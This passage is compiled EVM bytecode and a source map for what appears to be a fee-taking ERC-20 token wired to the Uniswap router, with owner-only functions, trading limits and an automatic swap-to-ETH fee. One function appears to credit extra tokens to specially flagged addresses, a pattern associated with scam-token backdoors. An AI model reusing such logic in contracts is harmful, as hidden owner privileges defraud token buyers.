492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107986009600a611952565b6107a690633b9aca006119fd565b60405190815260200160405180910390a1565b6000546001600160a01b031633146107e35760405162461bcd60e51b815260040161049d9061182f565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561082c90309061081e6009600a611952565b61046490633b9aca006119fd565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087a57600080fd5b505afa15801561088e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b291906116c7565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090f57600080fd5b505afa158015610923573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094791906116c7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561098f57600080fd5b505af11580156109a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c791906116c7565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b60006103df338484610b50565b6000546001600160a01b03163314610a205760405162461bcd60e51b815260040161049d9061182f565b610a2947610ddb565b565b6001600160a01b038316610a8d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161049d565b6001600160a01b038216610aee5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161049d565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610bb45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161049d565b6001600160a01b038216610c165760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161049d565b60008111610c785760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161049d565b601454600160b01b900460ff161580610c9a5750601454600160a81b900460ff165b15610d45576001600160a01b038316600090815260016020526040902054610cc29082610e1d565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610cf19082610e66565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b439085815260200190565b600080546001600160a01b03858116911614801590610d7257506000546001600160a01b03848116911614155b15610d8f57610d82848484610ec5565b9050610d8f84848461116c565b610d9b84848484611265565b50505050565b60008184841115610dc55760405162461bcd60e51b815260040161049d91906117da565b506000610dd28486611a1c565b95945050505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015610e19573d6000803e3d6000fd5b5050565b6000610e5f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610da1565b9392505050565b600080610e7383856118d5565b905083811015610e5f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161049d565b600080610ef46064610eee600b54600e5411610ee357600754610ee7565b6009545b86906113a8565b90611427565b60065490915060ff1615610fdc576013546001600160a01b03858116911614801590610f2e57506014546001600160a01b03858116911614155b15610fdc57326000908152600560205260409020544311610fc95760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161049d565b3260009081526005602052604090204390555b6014546001600160a01b03868116911614801561100757506013546001600160a01b03858116911614155b801561102c57506001600160a01b03841660009081526003602052604090205460ff16155b1561111457600f548311156110835760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161049d565b601054836110a6866001600160a01b031660009081526001602052604090205490565b6110b091906118d5565b11156110fe5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161049d565b600e805490600061110e83611a33565b91905055505b6014546001600160a01b03858116911614801561113a57506001600160a01b0385163014155b1561116457610dd26064610eee600c54600e541161115a57600854610ee7565b600a5486906113a8565b949350505050565b60006111788483611469565b306000908152600160205260409020549091508180156111a25750601454600160a81b900460ff16155b80156111bb57506014546001600160a01b038581169116145b80156111d05750601454600160b01b900460ff165b80156111df5750600d54600e54115b801561120457506001600160a01b03851660009081526003602052604090205460ff16155b801561122957506001600160a01b03841660009081526003602052604090205460ff16155b1561125e57601154811115611255576112556112508461124b846012546114de565b6114de565b6114f3565b61125e47610ddb565b5050505050565b80156112df57306000908152600160205260409020546112859082610e66565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112d69085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546113029083610e1d565b6001600160a01b0385166000908152600160205260409020556113476113288383610e1d565b6001600160a01b03851660009081526001602052604090205490610e66565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113918585610e1d565b60405190815260200160405180910390a350505050565b6000826113b7575060006103e3565b60006113c383856119fd565b9050826113d085836118ed565b14610e5f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161049d565b6000610e5f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061167c565b6001600160a01b038216600090815260036020526040812054839060ff1615610469576001600160a01b03811660009081526001602052604081205484916114b191906118d5565b6114bb91906118d5565b6001600160a01b0382166000908152600160205260409020555060019392505050565b60008183116114ed5782610e5f565b50919050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061153b5761153b611a64565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561158f57600080fd5b505afa1580156115a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115c791906116c7565b816001815181106115da576115da611a64565b6001600160a01b0392831660209182029290920101526013546116009130911684610a2b565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611639908590600090869030904290600401611864565b600060405180830381600087803b15801561165357600080fd5b505af1158015611667573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6000818361169d5760405162461bcd60e51b815260040161049d91906117da565b506000610dd284866118ed565b6000602082840312156116bc57600080fd5b8135610e5f81611a7a565b6000602082840312156116d957600080fd5b8151610e5f81611a7a565b600080604083850312156116f757600080fd5b823561170281611a7a565b9150602083013561171281611a7a565b809150509250929050565b60008060006060848603121561173257600080fd5b833561173d81611a7a565b9250602084013561174d81611a7a565b929592945050506040919091013590565b6000806040838503121561177157600080fd5b823561177c81611a7a565b946020939093013593505050565b60006020828403121561179c57600080fd5b81518015158114610e5f57600080fd5b6000806000606084860312156117c157600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611807578581018301518582016040015282016117eb565b81811115611819576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118b45784516001600160a01b03168352938301939183019160010161188f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118e8576118e8611a4e565b500190565b60008261190a57634e487b7160e01b600052601260045260246000fd5b500490565b600181815b8085111561194a57816000190482111561193057611930611a4e565b8085161561193d57918102915b93841c9390800290611914565b509250929050565b6000610e5f60ff84168360008261196b575060016103e3565b81611978575060006103e3565b816001811461198e5760028114611998576119b4565b60019150506103e3565b60ff8411156119a9576119a9611a4e565b50506001821b6103e3565b5060208310610133831016604e8410600b84101617156119d7575081810a6103e3565b6119e1838361190f565b80600019048211156119f5576119f5611a4e565b029392505050565b6000816000190483118215151615611a1757611a17611a4e565b500290565b600082821015611a2e57611a2e611a4e565b500390565b6000600019821415611a4757611a47611a4e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b0381168114611a8f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bdc43b73a47c6098c2a0e6805c029f5eb202986295f2ab2849b7190d0578652664736f6c63430008070033
Deployed Bytecode Sourcemap
3832:9725:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6211:83;;;;;;;;;;-1:-1:-1;6281:5:0;;;;;;;;;;;;-1:-1:-1;;;6281:5:0;;;;6211:83;;;;;;;:::i;:::-;;;;;;;;7094:186;;;;;;;;;;-1:-1:-1;7094:186:0;;;;;:::i;:::-;;:::i;:::-;;;3862:14:1;;3855:22;3837:41;;3825:2;3810:18;7094:186:0;3697:187:1;5055:55:0;;;;;;;;;;;;;;;;;;;9327:25:1;;;9315:2;9300:18;5055:55:0;9181:177:1;6488:95:0;;;;;;;;;;;;;:::i;7288:446::-;;;;;;;;;;-1:-1:-1;7288:446:0;;;;;:::i;:::-;;:::i;13074:480::-;;;;;;;;;;;;;:::i;:::-;;6397:83;;;;;;;;;;-1:-1:-1;6397:83:0;;4673:1;10490:36:1;;10478:2;10463:18;6397:83:0;10348:184:1;6591:119:0;;;;;;;;;;-1:-1:-1;6591:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6684:18:0;6657:7;6684:18;;;:9;:18;;;;;;;6591:119;857:148;;;;;;;;;;;;;:::i;12828:201::-;;;;;;;;;;;;;:::i;4864:56::-;;;;;;;;;;;;;;;;5814:389;;;;;;;;;;;;;:::i;643:79::-;;;;;;;;;;-1:-1:-1;681:7:0;708:6;643:79;;-1:-1:-1;;;;;708:6:0;;;2435:51:1;;2423:2;2408:18;643:79:0;2289:203:1;4927:58:0;;;;;;;;;;;;;;;;6302:87;;;;;;;;;;-1:-1:-1;6374:7:0;;;;;;;;;;;;-1:-1:-1;;;6374:7:0;;;;6302:87;;6718:192;;;;;;;;;;-1:-1:-1;6718:192:0;;;;;:::i;:::-;;:::i;4992:56::-;;;;;;;;;;;;;;;;12230:95;;;;;;;;;;;;;:::i;4213:40::-;;;;;;;;;;-1:-1:-1;4213:40:0;;;;;;;;6918:168;;;;;;;;;;-1:-1:-1;6918:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7051:18:0;;;7024:7;7051:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6918:168;7094:186;7194:4;7211:39;276:10;7234:7;7243:6;7211:8;:39::i;:::-;-1:-1:-1;7268:4:0;7094:186;;;;;:::o;6488:95::-;6541:7;4729:15;4673:1;4729:2;:15;:::i;:::-;4716:28;;:10;:28;:::i;:::-;6561:14;;6488:95;:::o;7288:446::-;7420:4;7437:36;7447:6;7455:9;7466:6;7437:9;:36::i;:::-;7484:220;7507:6;276:10;7555:138;7611:6;7555:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7555:19:0;;;;;;:11;:19;;;;;;;;276:10;7555:33;;;;;;;;;;:37;:138::i;:::-;7484:8;:220::i;:::-;-1:-1:-1;7722:4:0;7288:446;;;;;:::o;13074:480::-;770:6;;-1:-1:-1;;;;;770:6:0;276:10;770:22;762:67;;;;-1:-1:-1;;;762:67:0;;;;;;;:::i;:::-;;;;;;;;;13133:11:::1;::::0;-1:-1:-1;;;13133:11:0;::::1;;;13132:12;13124:48;;;::::0;-1:-1:-1;;;13124:48:0;;9031:2:1;13124:48:0::1;::::0;::::1;9013:21:1::0;9070:2;9050:18;;;9043:30;9109:25;9089:18;;;9082:53;9152:18;;13124:48:0::1;8829:347:1::0;13124:48:0::1;13183:15;::::0;-1:-1:-1;;;;;13183:15:0::1;:31;13222:21;13267:4;13287:24;13267:4:::0;-1:-1:-1;;;;;6684:18:0;6657:7;6684:18;;;:9;:18;;;;;;;6591:119;13287:24:::1;13326:1;13342::::0;13358:7:::1;681::::0;708:6;-1:-1:-1;;;;;708:6:0;;643:79;13358:7:::1;13183:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13183:223:0;;;-1:-1:-1;;;;;3444:15:1;;;13183:223:0::1;::::0;::::1;3426:34:1::0;3476:18;;;3469:34;;;;3519:18;;;3512:34;;;;3562:18;;;3555:34;3626:15;;;3605:19;;;3598:44;13380:15:0::1;3658:19:1::0;;;3651:35;3360:19;;13183:223:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13424:13:0::1;::::0;13455:15:::1;::::0;13417:71:::1;::::0;-1:-1:-1;;;13417:71:0;;-1:-1:-1;;;;;13455:15:0;;::::1;13417:71;::::0;::::1;2980:51:1::0;-1:-1:-1;;3047:18:1;;;3040:34;13424:13:0;::::1;::::0;-1:-1:-1;13417:29:0::1;::::0;2953:18:1;;13417:71:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13499:11:0::1;:18:::0;;-1:-1:-1;;;;13528:18:0;-1:-1:-1;;;13528:18:0;;;13074:480::o;857:148::-;770:6;;-1:-1:-1;;;;;770:6:0;276:10;770:22;762:67;;;;-1:-1:-1;;;762:67:0;;;;;;;:::i;:::-;964:1:::1;948:6:::0;;927:40:::1;::::0;-1:-1:-1;;;;;948:6:0;;::::1;::::0;927:40:::1;::::0;964:1;;927:40:::1;995:1;978:19:::0;;-1:-1:-1;;;;;;978:19:0::1;::::0;;857:148::o;12828:201::-;770:6;;-1:-1:-1;;;;;770:6:0;276:10;770:22;762:67;;;;-1:-1:-1;;;762:67:0;;;;;;;:::i;:::-;4729:15:::1;4673:1;4729:2;:15;:::i;:::-;4716:28;::::0;:10:::1;:28;:::i;:::-;12882:12;:22:::0;4729:15:::1;4673:1;4729:2;:15;:::i;:::-;4716:28;::::0;:10:::1;:28;:::i;:::-;12915:14;:24:::0;12950:20:::1;:28:::0;;-1:-1:-1;;12950:28:0::1;::::0;;12994:27:::1;4729:15;4673:1;-1:-1:-1::0;4729:15:0::1;:::i;:::-;4716:28;::::0;:10:::1;:28;:::i;:::-;12994:27;::::0;9327:25:1;;;9315:2;9300:18;12994:27:0::1;;;;;;;12828:201::o:0;5814:389::-;770:6;;-1:-1:-1;;;;;770:6:0;276:10;770:22;762:67;;;;-1:-1:-1;;;762:67:0;;;;;;;:::i;:::-;5864:15:::1;:104:::0;;-1:-1:-1;;;;;;5864:104:0::1;5915:42;5864:104:::0;;::::1;::::0;;;5979:58:::1;::::0;5996:4:::1;::::0;4729:15:::1;4673:1;4729:2;:15;:::i;:::-;4716:28;::::0;:10:::1;:28;:::i;5979:58::-;6082:15;;;;;;;;;-1:-1:-1::0;;;;;6082:15:0::1;-1:-1:-1::0;;;;;6082:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6064:55:0::1;;6142:4;6162:15;;;;;;;;;-1:-1:-1::0;;;;;6162:15:0::1;-1:-1:-1::0;;;;;6162:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6064:131;::::0;-1:-1:-1;;;;;;6064:131:0::1;::::0;;;;;;-1:-1:-1;;;;;2727:15:1;;;6064:131:0::1;::::0;::::1;2709:34:1::0;2779:15;;2759:18;;;2752:43;2644:18;;6064:131:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6048:13;:147:::0;;-1:-1:-1;;;;;;6048:147:0::1;-1:-1:-1::0;;;;;6048:147:0;;;::::1;::::0;;;::::1;::::0;;5814:389::o;6718:192::-;6821:4;6838:42;276:10;6862:9;6873:6;6838:9;:42::i;12230:95::-;770:6;;-1:-1:-1;;;;;770:6:0;276:10;770:22;762:67;;;;-1:-1:-1;;;762:67:0;;;;;;;:::i;:::-;12282:35:::1;12295:21;12282:12;:35::i;:::-;12230:95::o:0;9914:335::-;-1:-1:-1;;;;;10007:19:0;;9999:68;;;;-1:-1:-1;;;9999:68:0;;8626:2:1;9999:68:0;;;8608:21:1;8665:2;8645:18;;;8638:30;8704:34;8684:18;;;8677:62;-1:-1:-1;;;8755:18:1;;;8748:34;8799:19;;9999:68:0;8424:400:1;9999:68:0;-1:-1:-1;;;;;10086:21:0;;10078:68;;;;-1:-1:-1;;;10078:68:0;;5451:2:1;10078:68:0;;;5433:21:1;5490:2;5470:18;;;5463:30;5529:34;5509:18;;;5502:62;-1:-1:-1;;;5580:18:1;;;5573:32;5622:19;;10078:68:0;5249:398:1;10078:68:0;-1:-1:-1;;;;;10157:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10209:32;;9327:25:1;;;10209:32:0;;9300:18:1;10209:32:0;;;;;;;;9914:335;;;:::o;10257:776::-;-1:-1:-1;;;;;10345:18:0;;10337:68;;;;-1:-1:-1;;;10337:68:0;;7865:2:1;10337:68:0;;;7847:21:1;7904:2;7884:18;;;7877:30;7943:34;7923:18;;;7916:62;-1:-1:-1;;;7994:18:1;;;7987:35;8039:19;;10337:68:0;7663:401:1;10337:68:0;-1:-1:-1;;;;;10424:16:0;;10416:64;;;;-1:-1:-1;;;10416:64:0;;4693:2:1;10416:64:0;;;4675:21:1;4732:2;4712:18;;;4705:30;4771:34;4751:18;;;4744:62;-1:-1:-1;;;4822:18:1;;;4815:33;4865:19;;10416:64:0;4491:399:1;10416:64:0;10508:1;10499:6;:10;10491:64;;;;-1:-1:-1;;;10491:64:0;;7455:2:1;10491:64:0;;;7437:21:1;7494:2;7474:18;;;7467:30;7533:34;7513:18;;;7506:62;-1:-1:-1;;;7584:18:1;;;7577:39;7633:19;;10491:64:0;7253:405:1;10491:64:0;10571:11;;-1:-1:-1;;;10571:11:0;;;;10570:12;;:22;;-1:-1:-1;10586:6:0;;-1:-1:-1;;;10586:6:0;;;;10570:22;10566:223;;;-1:-1:-1;;;;;10627:15:0;;;;;;:9;:15;;;;;;:27;;10647:6;10627:19;:27::i;:::-;-1:-1:-1;;;;;10609:15:0;;;;;;;:9;:15;;;;;;:45;;;;10685:13;;;;;;;:25;;10703:6;10685:17;:25::i;:::-;-1:-1:-1;;;;;10669:13:0;;;;;;;:9;:13;;;;;;;:41;;;;10730:26;;;;;;;;;;10749:6;9327:25:1;;9315:2;9300:18;;9181:177;10566:223:0;10799:17;708:6;;-1:-1:-1;;;;;10835:15:0;;;708:6;;10835:15;;;;:32;;-1:-1:-1;681:7:0;708:6;-1:-1:-1;;;;;10854:13:0;;;708:6;;10854:13;;10835:32;10831:139;;;10896:30;10909:4;10915:2;10919:6;10896:12;:30::i;:::-;10884:42;;10928:30;10941:4;10947:2;10951:6;10928:12;:30::i;:::-;10982:43;10997:4;11003:2;11007:6;11015:9;10982:14;:43::i;:::-;10326:707;10257:776;;;:::o;2313:224::-;2433:7;2469:12;2461:6;;;;2453:29;;;;-1:-1:-1;;;2453:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2493:9:0;2505:5;2509:1;2505;:5;:::i;:::-;2493:17;2313:224;-1:-1:-1;;;;;2313:224:0:o;12130:92::-;12187:10;;:27;;:10;;;;-1:-1:-1;;;;;12187:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;;;12130:92;:::o;2169:136::-;2227:7;2254:43;2258:1;2261;2254:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;2247:50;2169:136;-1:-1:-1;;;2169:136:0:o;1982:179::-;2040:7;;2072:5;2076:1;2072;:5;:::i;:::-;2060:17;;2101:1;2096;:6;;2088:46;;;;-1:-1:-1;;;2088:46:0;;5854:2:1;2088:46:0;;;5836:21:1;5893:2;5873:18;;;5866:30;5932:29;5912:18;;;5905:57;5979:18;;2088:46:0;5652:351:1;8358:1548:0;8438:7;8459:17;8479:184;8659:3;8479:161;8535:15;;8523:9;;:27;8522:103;;8611:14;;8522:103;;;8575:12;;8522:103;8479:6;;:24;:161::i;:::-;:179;;:184::i;:::-;8680:20;;8459:204;;-1:-1:-1;8680:20:0;;8676:478;;;8753:15;;-1:-1:-1;;;;;8739:30:0;;;8753:15;;8739:30;;;;:79;;-1:-1:-1;8804:13:0;;-1:-1:-1;;;;;8790:28:0;;;8804:13;;8790:28;;8739:79;8717:426;;;8912:9;8883:39;;;;:28;:39;;;;;;8925:12;-1:-1:-1;8853:201:0;;;;-1:-1:-1;;;8853:201:0;;6210:2:1;8853:201:0;;;6192:21:1;6249:2;6229:18;;;6222:30;6288:34;6268:18;;;6261:62;6359:34;6339:18;;;6332:62;-1:-1:-1;;;6410:19:1;;;6403:40;6460:19;;8853:201:0;6008:477:1;8853:201:0;9102:9;9073:39;;;;:28;:39;;;;;9115:12;9073:54;;8717:426;9192:13;;-1:-1:-1;;;;;9184:21:0;;;9192:13;;9184:21;:68;;;;-1:-1:-1;9236:15:0;;-1:-1:-1;;;;;9222:30:0;;;9236:15;;9222:30;;9184:68;:108;;;;-1:-1:-1;;;;;;9270:22:0;;;;;;:18;:22;;;;;;;;9269:23;9184:108;9166:394;;;9337:12;;9327:6;:22;;9319:60;;;;-1:-1:-1;;;9319:60:0;;5097:2:1;9319:60:0;;;5079:21:1;5136:2;5116:18;;;5109:30;5175:27;5155:18;;;5148:55;5220:18;;9319:60:0;4895:349:1;9319:60:0;9446:14;;9436:6;9420:13;9430:2;-1:-1:-1;;;;;6684:18:0;6657:7;6684:18;;;:9;:18;;;;;;;6591:119;9420:13;:22;;;;:::i;:::-;:40;;9394:128;;;;-1:-1:-1;;;9394:128:0;;8271:2:1;9394:128:0;;;8253:21:1;8310:2;8290:18;;;8283:30;8349:28;8329:18;;;8322:56;8395:18;;9394:128:0;8069:350:1;9394:128:0;9537:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9166:394;9582:13;;-1:-1:-1;;;;;9576:19:0;;;9582:13;;9576:19;:44;;;;-1:-1:-1;;;;;;9599:21:0;;9615:4;9599:21;;9576:44;9572:300;;;9649:211;9856:3;9649:184;9713:16;;9701:9;;:28;9700:114;;9799:15;;9700:114;;;9758:13;;9649:6;;:28;:184::i;9572:300::-;9889:9;8358:1548;-1:-1:-1;;;;8358:1548:0:o;11156:725::-;11240:12;11255:23;11265:4;11271:6;11255:9;:23::i;:::-;11338:4;11289:28;6684:18;;;:9;:18;;;;;;11240:38;;-1:-1:-1;11240:38:0;11373:31;;;;-1:-1:-1;11398:6:0;;-1:-1:-1;;;11398:6:0;;;;11397:7;11373:31;:67;;;;-1:-1:-1;11427:13:0;;-1:-1:-1;;;;;11421:19:0;;;11427:13;;11421:19;11373:67;:95;;;;-1:-1:-1;11457:11:0;;-1:-1:-1;;;11457:11:0;;;;11373:95;:142;;;;;11497:18;;11485:9;;:30;11373:142;:184;;;;-1:-1:-1;;;;;;11533:24:0;;;;;;:18;:24;;;;;;;;11532:25;11373:184;:224;;;;-1:-1:-1;;;;;;11575:22:0;;;;;;:18;:22;;;;;;;;11574:23;11373:224;11355:519;;;11650:17;;11627:20;:40;11624:189;;;11688:109;11727:51;11731:6;11739:38;11743:20;11765:11;;11739:3;:38::i;:::-;11727:3;:51::i;:::-;11688:16;:109::i;:::-;11827:35;11840:21;11827:12;:35::i;:::-;11228:653;;11156:725;;;:::o;7742:608::-;7909:13;;7905:213;;7984:4;7966:24;;;;:9;:24;;;;;;:75;;8017:9;7966:28;:75::i;:::-;7957:4;7939:24;;;;:9;:24;;;;;;;:102;;;;8061:45;;-1:-1:-1;;;;;8061:45:0;;;;;;;8096:9;9327:25:1;;9315:2;9300:18;;9181:177;8061:45:0;;;;;;;;7905:213;-1:-1:-1;;;;;8151:20:0;;;;;;:9;:20;;;;;;:37;;8176:11;8151:24;:37::i;:::-;-1:-1:-1;;;;;8128:20:0;;;;;;:9;:20;;;;;:60;8220:50;8243:26;:11;8259:9;8243:15;:26::i;:::-;-1:-1:-1;;;;;8220:18:0;;;;;;:9;:18;;;;;;;:22;:50::i;:::-;-1:-1:-1;;;;;8199:18:0;;;;;;;:9;:18;;;;;:71;;;;8286:56;;;8315:26;:11;8331:9;8315:15;:26::i;:::-;8286:56;;9327:25:1;;;9315:2;9300:18;8286:56:0;;;;;;;7742:608;;;;:::o;2545:246::-;2603:7;2627:6;2623:47;;-1:-1:-1;2657:1:0;2650:8;;2623:47;2680:9;2692:5;2696:1;2692;:5;:::i;:::-;2680:17;-1:-1:-1;2725:1:0;2716:5;2720:1;2680:17;2716:5;:::i;:::-;:10;2708:56;;;;-1:-1:-1;;;2708:56:0;;6692:2:1;2708:56:0;;;6674:21:1;6731:2;6711:18;;;6704:30;6770:34;6750:18;;;6743:62;-1:-1:-1;;;6821:18:1;;;6814:31;6862:19;;2708:56:0;6490:397:1;2799:132:0;2857:7;2884:39;2888:1;2891;2884:39;;;;;;;;;;;;;;;;;:3;:39::i;11889:233::-;-1:-1:-1;;;;;12015:24:0;;11962:4;12015:24;;;:18;:24;;;;;;11994:7;;12015:24;;12012:80;;;-1:-1:-1;;;;;12059:15:0;;;;;;:9;:15;;;;;;12081:11;;12059:19;;:15;:19;:::i;:::-;:33;;;;:::i;:::-;-1:-1:-1;;;;;12041:15:0;;;;;;:9;:15;;;;;:51;-1:-1:-1;12110:4:0;;11889:233;-1:-1:-1;;;11889:233:0:o;11041:107::-;11098:7;11130:1;11126;:5;11125:15;;11139:1;11125:15;;;-1:-1:-1;11135:1:0;11041:107;-1:-1:-1;11041:107:0:o;12337:483::-;5394:6;:13;;-1:-1:-1;;;;5394:13:0;-1:-1:-1;;;5394:13:0;;;12439:16:::1;::::0;;12453:1:::1;12439:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12439:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12439:16:0::1;12415:40;;12484:4;12466;12471:1;12466:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12466:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12510:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12510:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12466:7;;12510:22;;;;;:15;:22;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12500:4;12505:1;12500:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12500:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12575:15:::1;::::0;12543:62:::1;::::0;12560:4:::1;::::0;12575:15:::1;12593:11:::0;12543:8:::1;:62::i;:::-;12616:15;::::0;:196:::1;::::0;-1:-1:-1;;;12616:196:0;;-1:-1:-1;;;;;12616:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12697:11;;12616:15:::1;::::0;12739:4;;12766::::1;::::0;12786:15:::1;::::0;12616:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5430:6:0;:14;;-1:-1:-1;;;;5430:14:0;;;-1:-1:-1;;;;12337:483:0:o;2939:223::-;3059:7;3094:12;3087:5;3079:28;;;;-1:-1:-1;;;3079:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3118:9:0;3130:5;3134:1;3130;:5;:::i;14:247:1:-;73:6;126:2;114:9;105:7;101:23;97:32;94:52;;;142:1;139;132:12;94:52;181:9;168:23;200:31;225:5;200:31;:::i;266:251::-;336:6;389:2;377:9;368:7;364:23;360:32;357:52;;;405:1;402;395:12;357:52;437:9;431:16;456:31;481:5;456:31;:::i;522:388::-;590:6;598;651:2;639:9;630:7;626:23;622:32;619:52;;;667:1;664;657:12;619:52;706:9;693:23;725:31;750:5;725:31;:::i;:::-;775:5;-1:-1:-1;832:2:1;817:18;;804:32;845:33;804:32;845:33;:::i;:::-;897:7;887:17;;;522:388;;;;;:::o;915:456::-;992:6;1000;1008;1061:2;1049:9;1040:7;1036:23;1032:32;1029:52;;;1077:1;1074;1067:12;1029:52;1116:9;1103:23;1135:31;1160:5;1135:31;:::i;:::-;1185:5;-1:-1:-1;1242:2:1;1227:18;;1214:32;1255:33;1214:32;1255:33;:::i;:::-;915:456;;1307:7;;-1:-1:-1;;;1361:2:1;1346:18;;;;1333:32;;915:456::o;1376:315::-;1444:6;1452;1505:2;1493:9;1484:7;1480:23;1476:32;1473:52;;;1521:1;1518;1511:12;1473:52;1560:9;1547:23;1579:31;1604:5;1579:31;:::i;:::-;1629:5;1681:2;1666:18;;;;1653:32;;-1:-1:-1;;;1376:315:1:o;1696:277::-;1763:6;1816:2;1804:9;1795:7;1791:23;1787:32;1784:52;;;1832:1;1829;1822:12;1784:52